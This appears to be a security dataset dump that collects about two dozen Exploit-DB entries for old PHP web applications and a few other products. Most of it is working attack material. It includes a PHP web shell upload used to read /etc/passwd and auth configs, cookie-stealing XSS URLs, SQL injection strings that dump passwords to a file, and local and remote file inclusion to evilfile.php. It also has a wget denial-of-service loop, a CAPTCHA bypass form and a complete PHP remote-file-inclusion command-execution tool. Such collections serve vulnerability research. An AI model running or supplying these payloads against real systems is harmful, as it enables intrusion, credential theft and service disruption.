QLWD/code_shield huggingface dataset:
标题: SocialEngine Timeline Plugin 4.2.5p9 - Arbitrary File Upload EDB-ID: 27272 CVE: 2013-4898 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-02 漏洞利用脚本: # Exploit Title: Sending php file in the timeline plugin cover image of SocialEngine 4.5 
# Date: 2013-08-17 
# Discovered by: Wesley Henrique Leite aka "spyk2r" 
# Vendor Homepage: http://webhive.com.ua/
# Software Link: http://webhive.com.ua/store/product.php?id_product=46
# Version: plugin Timeline 4.2.5p9 for SocialEngine 4.5 
# Vendor Notified: 2013-08-17
# CVE Notified: 2013-08-24
# CVE : CVE-2013-4898


+ INTRODUCTION

The plugin has the objective give you a better visual for the user
profile, allowed the addition of cover image keeping the layout closest
to the style of modern social networks, among other features.

+ DESCRIPTION OF VULNERABILITY

Logged into the system, enter on profile page of your user. [my profile]

    http://[url]/index.php/profile/[profile-name]

    >> Click "Change Cover"

    >> Click "Upload Cover"

select the file "*.php" you want to send.

//### Example PHP file to send "inject.php" ### 
    <?php echo system("$_GET['cmd']"); ?> 
//###

After selecting the file upload, this will be sent to an area temporarily,
the system detects that the format is not valid, but doesn’t remove,
allowing access later.

an error message is displayed on the screen.

[ File "/srv/www/htdocs/XXXXXXXXXXX/public/temporary/timeline/cover_original_8.php" 
is not an image or does not exist ]

+ ACCESS

    /srv/www/htdocs/XXXXXXXXXXX/public/temporary/timeline/cover_original_8.php

The important thing is the structure of public forward, it will give 
us access to our archive.

    http://[url]/public/temporary/timeline/cover_original_8.php?cmd=cat%20/etc/passwd

    http://[url]/public/temporary/timeline/cover_original_8.php?cmd=cat%20../../../install/config/auth.php URL: https://www.exploit-db.com/exploits/27272
标题: Dragonfly CMS 9.0.6.1 Web_Links Module - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27266 CVE: 2006-1033 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16784/info
   
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=Web_Links&l_op=viewlink&cid=15&min=10&orderby=title%20ASC&show=0"><script>alert(document.cookie)</script>
http://www.example.com/index.php?name=Web_Links&l_op=viewlink&cid=15"><script>alert()</script>
http://www.example.com/index.php?name=Web_Links&l_op=toprated&ratenum=5&ratetype=percent"><script>alert()</script>
http://www.example.com/index.php?name=Web_Links&l_op=viewlink&cid=15&orderby=titled"><script>alert()</script> URL: https://www.exploit-db.com/exploits/27266
标题: Noah's Classifieds 1.0/1.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27259 CVE: 2006-0880 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16772/info

Noah's Classifieds is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/classifieds/index.php?inf=%3Cscript%3Ealert(document.cookie)%3C/script%3Ehttp://www.example.com/classifieds/index.php?inf=%3Cscript%3Ealert(document.cookie)%3C/script%3E


http://www.example.com/classifieds/index.php?upperTemplate=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/27259
标题: Dragonfly CMS 9.0.6.1 Surveys Module - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27267 CVE: 2006-1033 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16784/info
    
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=Surveys&op=results"><script>alert()</script>pollid=3
http://www.example.com/index.php?name=Surveys&op=results&pollid=5"><script>alert()</script> URL: https://www.exploit-db.com/exploits/27267
标题: Dragonfly CMS 9.0.6 1 Your_Account Module - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27263 CVE: 2006-1033 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16784/info

Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=Your_Account&error=1&uname=bGFsYWxh"><script>alert(document.cookie)</script>
http://www.example.com/index.php?name=Your_Account&error=1"><script>alert(document.cookie)</script>&uname=bGFsYWxh
http://www.example.com/index.php?name=Your_Account&profile=3"><script>alert(document.cookie)</script>
http://www.example.com/index.php?name=Your_Account&error=1&uname=PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+ URL: https://www.exploit-db.com/exploits/27263
标题: Noah's Classifieds 1.0/1.3 - Search Page SQL Injection EDB-ID: 27260 CVE: 2006-0879 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16773/info

Noah's Classifieds is prone to an SQL-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Note that to carry out an attack, the attacker must be a MySQL user with file permissions.

Attacker uses a 'POST' request on the affected search page and supplies the following to the search field: 

kapda%')))/**/UNION/**/SELECT/**/1,1,1,name,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,password/**/INTO/**/OUTFILE/**/'/installation_path/lang/result.text'/**/FROM/**/classifieds_classifiedsuser# URL: https://www.exploit-db.com/exploits/27260
标题: RunCMS 1.x - 'Ratefile.php' Cross-Site Scripting EDB-ID: 27256 CVE: 2006-0875 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16769/info

RunCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/public/modules/downloads/ratefile.php?lid={number}">[code] URL: https://www.exploit-db.com/exploits/27256
标题: Dragonfly CMS 9.0.6 1 News Module - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27264 CVE: 2006-1033 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16784/info
 
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=News&catid=1"><script>alert()</script>
http://www.example.com/index.php?name=News&file=article&sid=7"><script>alert()</script>
http://www.example.com/index.php?name=News&file=submit
http://www.example.com/index.php?name=News&file=friend&sid=5"><script>alert()</script> URL: https://www.exploit-db.com/exploits/27264
标题: Noah's Classifieds 1.0/1.3 - Local File Inclusion EDB-ID: 27261 CVE: 2006-0882 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16778/info

Noah's Classifieds is prone to a local file-include vulnerability. This may facilitate the unauthorized viewing of files and unauthorized execution of local scripts. 

Version 1.3.0 is vulnerable; other versions may be affected as well.

http://www.example.com/classifieds/index.php?otherTemplate=/../../../etc/passwd%00http://www.example.com/classifieds/index.php?otherTemplate=/../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/27261
标题: Noah's Classifieds 1.0/1.3 - 'index.php' Remote File Inclusion EDB-ID: 27262 CVE: 2006-0881 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16780/info

Noah's Classifieds is prone to a remote file-include vulnerability. 

An attacker can exploit this issue to execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

Version 1.3.0 is vulnerable; other versions may also be affected.

http://www.example.com/classifieds/index.php?lowerTemplate=http://www.example.com/evilfile.php URL: https://www.exploit-db.com/exploits/27262
标题: Dragonfly CMS 9.0.6.1 Stories_Archive Module - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27265 CVE: 2006-1033 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16784/info
  
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=Stories_Archive&sa=show_month&year=2005&month=11"><script>alert()</script>
http://www.example.com/index.php?name=Stories_Archive&sa=show_month&year=2005"><script>alert()</script>> &month=11
http://www.example.com/index.php?name=Stories_Archive&sa=show_all"><script>alert()</script> URL: https://www.exploit-db.com/exploits/27265
标题: PostNuke 0.6x/0.7x NS-Languages Module - 'language' SQL Injection EDB-ID: 27255 CVE: 2006-0801 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16752/info
 
PostNuke is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or control how the site is rendered to the user. Other attacks are also possible.

http://www.example.com/admin.php?module=NS-Languages&op=missing&language=[sql] URL: https://www.exploit-db.com/exploits/27255
标题: PostNuke 0.6x/0.7x NS-Languages Module - 'language' Cross-Site Scripting EDB-ID: 27254 CVE: 2006-0800 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16752/info

PostNuke is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or control how the site is rendered to the user. Other attacks are also possible.

http://www.example.com/admin.php?module=NS-Languages&op=missing&language=">[code]
http://www.example.com/admin.php?module=NS-Languages&op=translation&language=[code] URL: https://www.exploit-db.com/exploits/27254
标题: Mozilla (Multiple Products) - iFrame JavaScript Execution EDB-ID: 27257 CVE: 2006-0884 类型: DOS 平台: LINUX 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16770/info

Multiple Mozilla products are prone to a script-execution vulnerability. 

The vulnerability presents itself when an attacker supplies a specially crafted email to a user containing malicious script code in an IFRAME and the user tries to reply to the mail. Arbitrary JavaScript can be executed even if the user has disabled JavaScript execution in the client. 

The following mozilla products are vulnerable to this issue:
- Mozilla Thunderbird, versions prior to 1.5.0.2, and prior to 1.0.8
- Mozilla SeaMonkey, versions prior to 1.0.1
- Mozilla Suite, versions prior to 1.7.13

<html>
<body>
<iframe src="javascript:alert('Found by www.sysdream.com !')"></iframe>
</body>
</html>

* Denial of service (application crash) :

<html>
<body>
<iframe src="javascript:parent.document.write('Found by www.sysdream.com
!')"></iframe>
</body>
</html> URL: https://www.exploit-db.com/exploits/27257
标题: Ipswitch WhatsUp Professional 2006 - Remote Denial of Service EDB-ID: 27258 CVE: 2006-0911 类型: DOS 平台: ASP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16771/info

Ipswitch WhatsUp Professional 2006 is susceptible to a remote denial-of-service vulnerability. This issue is due to the application's failure to properly handle certain HTTP GET requests.

This issue allows remote attackers to consume excessive CPU resources on targeted computers, denying service to legitimate users.

http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&btnLogIn=[Log&In]=&sLoginUserName=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&btnLogIn=[Log&In]=&sLoginPassword=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&In]=&btnLogIn=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&btnLogIn=[Log&In]=

An example script to exploit this issue is also available:

while [ 1 ]
do
wget -O /dev/null http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&b;tnLogIn=[Log&In]=&sLoginUserName=
done URL: https://www.exploit-db.com/exploits/27258
标题: CuteNews 1.4.1 - 'show_news.php' Cross-Site Scripting EDB-ID: 27252 CVE: 2006-0885 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/16740/info

CuteNews is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

CuteNews version 1.4.1 is vulnerable to this issue; other versions may also be affected.

The following proof of concept was provided:

/cutenews/show_news.php?subaction=addcomment&id={aNewsId}&name={anExistantUserName}&show=%22%3E%3Cscript%3Ealert(â?imeiâ?)%3C/script%3E URL: https://www.exploit-db.com/exploits/27252
标题: Wimpy MP3 Player 5 - Text File Overwrite EDB-ID: 27244 CVE: 2006-0787 类型: REMOTE 平台: LINUX 发布日期: 2006-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16696/info

Wimpy MP3 is prone to a weakness that permits the overwriting of a text file with arbitrary attacker-supplied data.

Successful exploitation of this issue may aid an attacker in further attacks.

The following proof of concept URI is available:
http://www.example.com/pathtowimpy/goodies/wimpy_trackplays.php?myAction=trackplays&trackFile=<?php&trackArtist=system("uname -a;id;");&trackTitle=?> URL: https://www.exploit-db.com/exploits/27244
标题: Magic Calendar Lite 1.02 - 'index.php' SQL Injection EDB-ID: 27251 CVE: 2006-0673 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/16734/info

Magic Calendar Lite is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.02 is vulnerable; other versions may also be affected.

The following proof of concept is available: 

Url: http://www.example.com/index.php
Login: ' or 1/*
Password: any URL: https://www.exploit-db.com/exploits/27251
标题: PHP-Nuke 7.x - CAPTCHA Bypass EDB-ID: 27249 CVE: 2006-0805 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/16722/info

The CAPTCHA implementation of PHPNuke may be bypassed by remote attackers due to a design error.


This may be used to carry out other attacks such as brute-force attempts against the login page.

[------ real life exploit ------]

<html>
<head>
<title>phpNuke CAPTHCA bypass POC</title>
</head>
<body>
<center>
<br><br><br><br>

<form action="http://localhost/nuke78/modules.php?name=Your_Account" method="post">

Username: <input type="text" name="username" size="15" maxlength="25"><br>
Password: <input type="password" name="user_password" size="15" maxlength="20"><br>

<input type="hidden" name="random_num" value="112652">
<input type="hidden" name="gfx_check" value="304380">

<input type="hidden" name="op" value="login">
<input type="submit" value="Login">

</form>
<br><br><br><br>
</center>
</body>
</html>

[----- /real life exploit ------] URL: https://www.exploit-db.com/exploits/27249
标题: BirthSys 3.1 - Multiple SQL Injections EDB-ID: 27239 CVE: 2006-0775 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/16684/info

BirthSys is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

An attacker can exploit these issues to bypass the authentication mechanism and gain access as an arbitrary user.

http://www.example.com/show.php3?month=99%20union%20select%201,2,3,4,5/* URL: https://www.exploit-db.com/exploits/27239
标题: E107 Website System 0.7.2 Chatbox Plugin - HTML Injection EDB-ID: 27247 CVE: 2006-0857 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/16719/info

The e107 content management system (CMS) Chatbox Plugin is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected site, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

Place the following into the Chatbox:

<script>alert("xss vuln found by ssteam")</script> URL: https://www.exploit-db.com/exploits/27247
标题: V-Webmail 1.6.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27245 CVE: 2006-0792 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/16706/info

V-webmail is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Specific information regarding affected versions is not currently available; this BID will be updated as further information is disclosed.

The following example URI were provided to demonstrate these issues:

http://www.example.com/preferences.personal.php?newid=[code]

http://www.example.com/frameset.php?vwebmailsession=&rframe=[url] URL: https://www.exploit-db.com/exploits/27245
标题: Siteframe Beaumont 5.0.1/5.0.2 - 'page.php' HTML Injection EDB-ID: 27243 CVE: 2006-0783 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16695/info

Siteframe Beaumont is prone to an HTML-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

This issue is reported to affect Siteframe Beaumont versions 5.0.2 and earler; other versions may also be vulnerable.

An example HTTP POST request has been provided:

http://www.example.com/edit/Comment
POST /edit/Comment HTTP/1.1
Host: www.example.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=H
i&_submitted=1 URL: https://www.exploit-db.com/exploits/27243
标题: Dreamcost HostAdmin 3.0 - 'index.php' Remote File Inclusion EDB-ID: 27238 CVE: 2006-0791 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16682/info

HostAdmin is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

<?php
/*
HostAdmin Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN
*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>"
    ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?> URL: https://www.exploit-db.com/exploits/27238